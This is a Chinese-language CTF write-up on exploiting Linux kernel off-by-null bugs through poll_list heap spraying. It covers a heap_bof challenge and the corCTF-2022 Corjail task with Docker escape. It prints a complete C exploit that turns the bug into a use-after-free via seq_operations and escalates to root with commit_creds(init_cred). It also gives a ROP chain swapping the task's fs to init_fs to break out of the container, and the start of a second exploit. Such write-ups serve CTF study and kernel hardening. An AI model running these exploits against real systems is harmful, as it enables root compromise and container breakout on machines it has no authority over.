前言
本文我们通过我们的老朋友heap_bof
来讲解Linux kernel
中off-by-null
的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape
来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root
权限后,docker
逃逸就变的相对简单了)。
戳文章名称,看上篇哦:kernel heap exploit
off by null
我们还是使用上一篇的例题heap_bof
来讲解这种利用手法,现在我们假设这道题没有提供free
,并且只有单字节溢出,并且溢出的单字节只能是NULL
,那么我们应该怎么去利用呢?
利用思路
boot.sh
#!/bin/bash
qemu-system-x86_64
-initrd rootfs.img
-kernel bzImage
-m 1G
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr'
-monitor /dev/null
-s
-cpu kvm64
-smp cores=1,threads=2
--nographic
poll系统调用
/*
* @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);
poll_list
结构体对象是在调用 poll()
时分配,该调用可以监视 1
个或多个文件描述符的活动。
struct pollfd {
int fd;
short events;
short revents;
};
struct poll_list {
struct poll_list *next;// 指向下一个poll_list
int len;// 对应于条目数组中pollfd结构的数量
struct pollfd entries[];// 存储pollfd结构的数组
};
poll_list
结构如下图所示,前 30
个 poll_fd
在栈上,后面的都在堆上,最多 510
个 poll_fd
在一个堆上的 poll_list
上,堆上的 poll_list
最大为 0x1000
。
poll_list 分配/释放
do_sys_poll
函数完成 poll_list
的分配和释放。poll_list
的是超时自动释放的,我们可以指定 poll_list
的释放时间。
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))
[...]
staticintdo_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{
struct poll_wqueues table;
int err =-EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
/*
* [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
*/
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *const head =(struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsignedlong todo = nfds;
if(nfds > rlimit(RLIMIT_NOFILE))
return-EINVAL;
/*
* [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
*/
len =min_t(unsignedint, nfds, N_STACK_PPS);
for(;;){
walk->next =NULL;
walk->len = len;
if(!len)
break;
if(copy_from_user(walk->entries, ufds + nfds-todo,sizeof(struct pollfd)* walk->len))
goto out_fds;
todo -= walk->len;
if(!todo)
break;
/*
* [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
* 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
* 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
*/
len = min(todo, POLLFD_PER_PAGE);
/*
* [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
*/
walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if(!walk){
err =-ENOMEM;
goto out_fds;
}
}
poll_initwait(&table);
/*
* [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
*/
fdcount = do_poll(head,&table, end_time);
poll_freewait(&table);
if(!user_write_access_begin(ufds, nfds *sizeof(*ufds))and)
goto out_fds;
for(walk = head; walk; walk = walk->next){
struct pollfd *fds = walk->entries;
int j;
for(j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents,&ufds->revents,Efault);
}
user_write_access_end();
err = fdcount;
out_fds:
walk = head->next;
while(walk){// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}
return err;
Efault:
user_write_access_end();
err =-EFAULT;
goto out_fds;
}
我们可以去找到一些结构体,其头 8
字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑利用堆喷去构造 UAF
了。
详细流程
-
1. 首先分配
kmalloc-4096
大小的结构题在ptr[0]
; -
2. 然后构造这样的
poll_list
结构体。 -
3. 利用
off-by-null
将poll_list->next
的最后一个字节改为空。然后大量分配kmalloc-32
的obj
内存,这里只所以是32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。运气好可以被我们篡改后的poll_list->next
指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。 -
4. 等待
poll_list
线程执行完毕,并且我们分配的kmalloc-32
被错误释放,分配大量的seq_operations
,运气好可以正好被分配到我们释放的kmalloc-32
,形成UAF
,这样我们就可以利用UAF
修改seq_operations->start
指针指向提权代码。 -
5. 提权可以参考上一篇文章,利用栈上的残留值来
bypass kaslr
。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199
char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000
struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
unsignedlong idx;// 表示 ptr 数组的 索引
};
size_t user_cs, user_rflags, user_sp, user_ss;
voidsave_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
voidget_shell(void){
system("/bin/sh");
}
voidqword_dump(char *desc, void *addr, int len){
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:n", desc);
}
for(int i =0; i < len /8; i +=4){
printf(" %04x", i *8);
for(int j =0; j <4; j++){
i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf(" ");
}
printf(" ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}
/*--------------------------------------------------------------------------------------------------*/
struct callback_head {
struct callback_head *next;
void(*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void*))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedefunsignedlonglong u64;
struct user_key_payload {
struct rcu_head rcu;/* RCU destructor */
unsignedshort datalen;/* length of this data */
char data[0] __aligned(__alignof__(u64));/* actual data */
};
intkey_alloc(int id, void *payload, int payload_len){
char description[0x10]={};
sprintf(description,"pwn_%d", id);
return key_id[id]= syscall(__NR_add_key,"user", description, payload, payload_len -sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
intkey_update(int id, void *payload, size_t plen){
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
intkey_read(int id, void *bufer, size_t buflen){
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
intkey_revoke(int id){
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id],0,0,0);
}
intkey_unlink(int id){
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
/*--------------------------------------------------------------------------------------------------*/
pthread_t tid[40];
typedefstruct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
void*alloc_poll_list(void *args){
int nfds =((poll_args *) args)->nfds;
int timer =((poll_args *) args)->timer;
struct pollfd *pfds =calloc(nfds,sizeof(struct pollfd));
for(int i =0; i < nfds; i++){
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
poll(pfds, nfds, timer);
}
void*create_poll_list(size_t size, int timer, int i){
poll_args *args =calloc(1,sizeof(poll_args));
args->nfds =(size -(size + PAGE_SIZE -1)/ PAGE_SIZE *sizeof(struct poll_list))/sizeof(struct pollfd)+ N_STACK_PPS;
args->timer = timer;
pthread_create(&tid[i],NULL, alloc_poll_list, args);
}
/*--------------------------------------------------------------------------------------------------*/
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsignedint offset, len;
conststruct pipe_buf_operations *ops;
unsignedint flags;
unsignedlongprivate;
};
struct pipe_buf_operations {
int(*confirm)(struct pipe_inode_info *,struct pipe_bufer *);
void(*release)(struct pipe_inode_info *,struct pipe_bufer *);
int(*try_steal)(struct pipe_inode_info *,struct pipe_bufer *);
int(*get)(struct pipe_inode_info *,struct pipe_bufer *);
};
/*--------------------------------------------------------------------------------------------------*/
void*(*commit_creds)(void*)=(void*)0xFFFFFFFF810A1340;
void*init_cred =(void*)0xFFFFFFFF81E496C0;
size_t user_rip =(size_t) get_shell;
size_t kernel_offset;
voidget_root(){
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -=0xffffffff81229378;
commit_creds =(void*)((size_t) commit_creds + kernel_offset);
init_cred =(void*)((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
/*--------------------------------------------------------------------------------------------------*/
intmain(){
save_status();
signal(SIGSEGV,(void*) get_shell);
bof_fd = open("dev/bof", O_RDWR);
int seq_fd[SEQ_NUM];
printf("[*] try to alloc_kmalloc-4096n");
size_t* mem =malloc(0x1010);
memset(mem,'xff',0x1010);
struct param p ={0x1000,(char*)mem,0};
ioctl(bof_fd, BOF_MALLOC,&p);
printf("[*] try to spary kmalloc-32n");
p.len =0x20;
for(int i =1; i <20;++i)
{
p.idx = i;
memset(mem, i,0x20);
memset(mem,0,0x18);
ioctl(bof_fd, BOF_MALLOC,&p);
ioctl(bof_fd, BOF_EDIT,&p);
}
printf("[*] try to alloc_poll_listn");
for(int i =0; i <14;++i)
{
create_poll_list(PAGE_SIZE +sizeof(struct poll_list)+sizeof(struct pollfd),3000, i);
}
printf("[*] try to spary kmalloc-32n");
p.len =0x20;
for(int i =20; i <40;++i)
{
p.idx = i;
memset(mem, i,0x20);
memset(mem,0,0x18);
ioctl(bof_fd, BOF_MALLOC,&p);
ioctl(bof_fd, BOF_EDIT,&p);
}
sleep(1);
// 调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);
// printf("[*] p->buf == %pn", (size_t*)mem[0x1008/8]);
p.len =0x1001;
p.idx =0;
memset(mem,'x00',0x1001);
ioctl(bof_fd, BOF_EDIT,&p);
void*res;
for(int i =0; i <14;++i)
{
printf("[*] wating for poll endn");
pthread_join(tid[i],&res);
}
for(int i =0; i <256;++i)
{
seq_fd[i]= open("/proc/self/stat", O_RDONLY);
}
sleep(1);
for(int i =1; i <40;++i)
{
p.idx = i;
p.len =0x20;
ioctl(bof_fd, BOF_READ,&p);
printf("[%d->0] p->buf == %pn", i,(size_t*)mem[0]);
printf("[%d->1] p->buf == %pn", i,(size_t*)mem[1]);
printf("[%d->2] p->buf == %pn", i,(size_t*)mem[2]);
printf("[%d->3] p->buf == %pn", i,(size_t*)mem[3]);
mem[0]=(size_t*)get_root;
mem[1]=(size_t*)get_root;
mem[2]=(size_t*)get_root;
mem[3]=(size_t*)get_root;
ioctl(bof_fd, BOF_EDIT,&p);
}
for(int i =1; i <40;++i)
{
p.idx = i;
p.len =0x20;
ioctl(bof_fd, BOF_READ,&p);
printf("[%d->0] p->buf == %pn", i,(size_t*)mem[0]);
printf("[%d->1] p->buf == %pn", i,(size_t*)mem[1]);
printf("[%d->2] p->buf == %pn", i,(size_t*)mem[2]);
printf("[%d->3] p->buf == %pn", i,(size_t*)mem[3]);
}
for(int i =0; i <256; i++){
read(seq_fd[i], p.buf,1);
}
return0;
}
corCTF-2022:Corjail
题目分析
我们可以使用 Guestfish
工具读取和修改 qcow2
文件。
run_challenge.sh
#!/bin/sh
qemu-system-x86_64
-m 1G
-nographic
-no-reboot
-kernel bzImage
-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on"
-hda coros.qcow2
-snapshot
-monitor /dev/null
-cpu qemu64,+smep,+smap,+rdrand
-smp cores=4
--enable-kvm
init脚本
查看服务进程/etc/systemd/system/init.service
;
Description=Initialize challenge
[Service]
Type=oneshot
ExecStart=/usr/local/bin/init
[Install]
WantedBy=multi-user.target
查看 /usr/local/bin/init
脚本;
cat /usr/local/bin/init
#!/bin/bash
USER=user
FLAG=$(head-n 100/dev/urandom |sha512sum| awk '{printf $1}')
useradd --create-home --shell /bin/bash $USER
echo"export PS1='[ 33[01;31m]u@CoROS[ 33[00m]:[ 33[01;34m]w[ 33[00m]# '">>/root/.bashrc
echo"export PS1='[ 33[01;35m]u@CoROS[ 33[00m]:[ 33[01;34m]w[ 33[00m]$ '">>/home/$USER/.bashrc
chmod-r 0700/home/$USER
mv/root/temp /root/$FLAG
chmod0400/root/$FLAG
password
❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs>cat/etc/password
libguestfs: error: download:/etc/password:No such file or directory
><fs>cat/etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......
root_shell
查看root
用户的/usr/local/bin/jail
;
><fs>cat/usr/local/bin/jail
#!/bin/bash
echo-e '[ 33[5me[1;33m!e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run -it --user user
--hostname CoRJail
--security-opt seccomp=/etc/docker/corjail.json
-v /proc/cormon:/proc_rw/cormon:rw corcontainer
/bin/bash
/usr/sbin/poweroff -f
发现其启动root
的 shell
后是首先调用 docker
来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker
容器当中。
为了方便调试,我们可以使用edit
将其修改为:
><fs> edit /usr/local/bin/jail
><fs>cat/usr/local/bin/jail
#!/bin/bash
echo-e '[ 33[5me[1;33m!e[0m] Spawning a shell in a CoRJail...'
cp/exploit /home/user ||echo"[!] exploit not found, skipping"
chown-R user:user /home/user
echo0>/proc/sys/kernel/kptr_restrict
/usr/bin/docker run -it --user root
--hostname CoRJail
--security-opt seccomp=/etc/docker/corjail.json
# 允许容器能够调用与日志相关的系统调用
--cap-add CAP_SYSLOG
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
-v /proc/cormon:/proc_rw/cormon:rw
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v /home/user/:/home/user/host
corcontainer
/bin/bash
/usr/sbin/poweroff -f
edit
的用法和 vim
一样。
后面我们上传 exp
的时候可以使用 upload
命令,其格式如下:
><fs>help upload
NAME
upload - upload a file from the local machine
SYNOPSIS
upload filename remotefilename
DESCRIPTION
Uploadlocal file filename to remotefilename on the filesystem.
filename can also be a named pipe.
See also "download".
kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
#define __SYSCALL_64(nr, sym)[nr]= __x64_##sym,
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage constsys_call_ptr_t sys_call_table[__NR_syscall_max+1]={
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname)
+#define __SYSCALL_DEFINE0(sname)
SYSCALL_METADATA(_##sname, 0);
staticlong __do_sys_##sname(const struct pt_regs *__unused);
__X64_SYS_STUB0(sname)
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include<linux/key.h>
#include<linux/personality.h>
#include<trace/syscall.h>
+#include <asm/syscall.h>
#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)
SYSCALL_METADATA(_##sname, 0);
asmlinkage long sys_##sname(void);
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);
@@ -219,9 +220,41 @@
#define SYSCALL_DEFINE_MAXARGS 6
-#define SYSCALL_DEFINEx(x, sname, ...)
- SYSCALL_METADATA(sname, x, __VA_ARGS__)
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...)
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr)
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)
+ {
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));
+ }
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname)
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)
+ {
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);
+ return __count_sys_##sname();
+ }
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)
+ SYSCALL_METADATA(sname, x, __VA_ARGS__)
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)
+ SYSCALL_COUNT_DECLARE0(sname)
+ __SYSCALL_DEFINE0(sname)
+ SYSCALL_COUNT_FUNC0(sname)
#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);
const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@
return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);
static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
为每个CPU都创建一个 __per_cpu_syscall_count
变量用来记录系统调用的次数。
seccomp.json
保存了系统调用的白名单。
{
"defaultAction":"SCMP_ACT_ERRNO",
"defaultErrnoRet":1,
"syscalls":[
{
"names":["_llseek","_newselect","accept","accept4","access",...],
"action":"SCMP_ACT_ALLOW"
},
{
"names":["clone"],
"action":"SCMP_ACT_ALLOW",
"args":[{"index":0,"value":2114060288,"op":"SCMP_CMP_MASKED_EQ"}]
}
]
}
根据README.md
提示,可以在proc_rw/cormon
看到使用到的系统调用在各个CPU
当中的情况。
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall(NR)
9162518 sys_poll (7)
0000 sys_fork (57)
66647960 sys_execve (59)
0000 sys_msgget (68)
0000 sys_msgsnd (69)
0000 sys_msgrcv (70)
0000 sys_ptrace (101)
1519116 sys_setxattr (188)
27241120 sys_keyctl (250)
0022 sys_unshare (272)
0100 sys_execveat (322)
也可以指定系统调用。
root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
src.c
可以看到 write
存在明显的off-by-null
。
static ssize_tcormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
loff_t offset =*ppos;
char*syscalls;
size_t len;
if(offset <0)
return-EINVAL;
if(offset >= PAGE_SIZE ||!count)
return0;
len = count > PAGE_SIZE ? PAGE_SIZE -1: count;
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llxn",(uint64_t)syscalls);
if(!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!n");
return-ENOMEM;
}
if(copy_from_user(syscalls, ubuf, len))
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!n");
return-EFAULT;
}
syscalls[len]='x00';
if(update_filter(syscalls))
{
kfree(syscalls);
return-EINVAL;
}
kfree(syscalls);
return count;
}
利用思路
在 poll_list
利用方式中:
-
• 先通过
add_key()
堆喷大量32
字节大小的user_key_payload
。
这里只所以是
32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
-
• 然后创建
poll_list
链,其中poll_list.next
指向的是一个0x20
大小的object
。 -
• 触发
off by null
,修改poll_list.next
的低字节为x00
,这里可能导致其指向某个user_key_payload
。 -
• 然后等待
timeout
后, 就会导致某个user_key_payload
被释放,导致UAF
。
详细流程如下:
首先,我们要打开有漏洞的模块。使用bind_core()
将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
void bind_core(bool fixed, bool thread){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ?0: randint(1, get_nprocs()),&cpu_set);
if(thread){
pthread_setaffinity_np(pthread_self(),sizeof(cpu_set),&cpu_set);
}else{
sched_setaffinity(getpid(),sizeof(cpu_set),&cpu_set);
}
}
喷射大量 0x20
大小的 user_key_payload
和下图所示 0x1000 + 0x20
的 poll_list
。
此时内存中 object
的分布如下图所示,其中黄色的是 user_key_payload
,绿色的是 poll_list
,白色是空闲 object
。
通过 off by null
修改 0x1000 大小的 poll_list
,使得指向 0x20 大小 poll_list
的 next
指针指向 user_key_payload
。之后释放所有的 poll_list
结构,被 next
指向的的 user_key_payload
也被释放,形成 UAF 。
注意,为了确保释放 poll_list
不出错,要保证 0x20
大小的 poll_list
的 next
指针为 NULL 。也就是 user_key_payload
的前 8 字节为 NULL 。由于 user_key_payload
的前 8 字节没有初始化,因此可以在申请 user_key_payload
前先用 setxattr
把前 8 字节置为 NULL 。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void*kvalue =NULL;
char kname[XATTR_NAME_MAX +1];
[...]
if(size){
[...]
kvalue = kvmalloc(size, GFP_KERNEL);// 申请kmalloc-x
if(!kvalue)
return-ENOMEM;
// 修改kmalloc-x内容
if(copy_from_user(kvalue, value, size)){
error =-EFAULT;
goto out;
}
[...]
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue);// 释放kmalloc-x
return error;
}
另外实测 kmalloc-32
的 freelist
偏移为 16 字节,不会覆盖 next
指针。
喷射 seq_operations
利用 seq_operations->next
的低二字节覆盖 user_key_payload->datalen
实现 user_key_payload
越界读, user_key_payload->data
前 8 字节被覆盖为 seq_operations->show
,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload
是否被 seq_operations
覆盖。
struct seq_operations {
void*(*start)(struct seq_file *m,loff_t*pos);
void(*stop)(struct seq_file *m,void*v);
void*(*next)(struct seq_file *m,void*v,loff_t*pos);
int(*show)(struct seq_file *m,void*v);
};
struct user_key_payload {
struct rcu_head rcu;/* RCU destructor */
unsignedshort datalen;/* length of this data */
char data[0] __aligned(__alignof__(u64));/* actual data */
};
struct callback_head {
struct callback_head *next;
void(*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void*))));
#define rcu_head callback_head
之后释放不能越界读的 user_key_payload
并喷射 tty_file_private
填充产生的空闲 object
。之后再次越界读泄露 tty_file_private->tty
指向的 tty_struct
,我们定义这个地址为 target_object
。
释放 seq_operations
,喷射 0x20
大小的 poll_list
。现在UAF
的堆块被user_key_payload
和poll_list
占领。在 poll_list
被释放前,释放劫持的 user_key_payload
,利用 setxattr
修改 poll_list
的 next
指针指向 target_object - 0x18
,方便后续伪造pipe_buffer
。为了实现 setxattr
的喷射效果,setxattr
修改过的 object
通过申请 user_key_payload
劫持,确保下次 setxattr
修改的是另外的 object
。
打开
/dev/ptmx
时会分配tty_file_private
并且该结构体的tty
指针会指向tty_struct
。
int tty_alloc_file(struct file *file)
{
struct tty_file_private *priv;priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if(!priv)
return-ENOMEM;file->private_data = priv;
return0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
趁 poll_list
还没有释放,释放 tty_struct
并申请 pipe_buffer
,将 target_object(tty_struct)
替换为 pipe_buffer
。
struct pipe_buffer {
struct page *page;
unsignedint offset, len;
conststruct pipe_buf_operations *ops;
unsignedint flags;
unsignedlongprivate;
};
之后 poll_list
释放导致 target_object - 0x18
区域释放。我们可以申请一个 0x400
大小的 user_key_payload
劫持 target_object - 0x18
,从而劫持 pipe_buffer->ops
实现控制流劫持。
docker逃逸
具体实现为修改 task_struct
的 fs
指向 init_fs
。用 find_task_by_vpid()
来定位Docker
容器任务,我们用switch_task_namespaces()
。但这还不足以从容器中逃逸。在Docker
容器中,setns()
被seccomp
默认屏蔽了,我们可以克隆 init_fs
结构,然后用find_task_by_vpid()
定位当前任务,用 gadget
手动安装新fs_struct
。
// commit_creds(&init_creds)
*rop++= pop_rdi_ret;
*rop++= init_cred;
*rop++= commit_creds;
// current = find_task_by_vpid(getpid())
*rop++= pop_rdi_ret;
*rop++= getpid();
*rop++= find_task_by_vpid;
// current->fs = &init_fs
*rop++= pop_rcx_ret;
*rop++=0x6e0;
*rop++= add_rax_rcx_ret;
*rop++= pop_rbx_ret;
*rop++= init_fs;
*rop++= mov_mmrax_rbx_pop_rbx_ret;
rop++;
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define PAGE_SIZE 0x1000
intrandint(int min, int max){
return min +(rand()%(max - min));
}
voidbind_core(bool fixed, bool thread){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ?0: randint(1, get_nprocs()),&cpu_set);
if(thread){
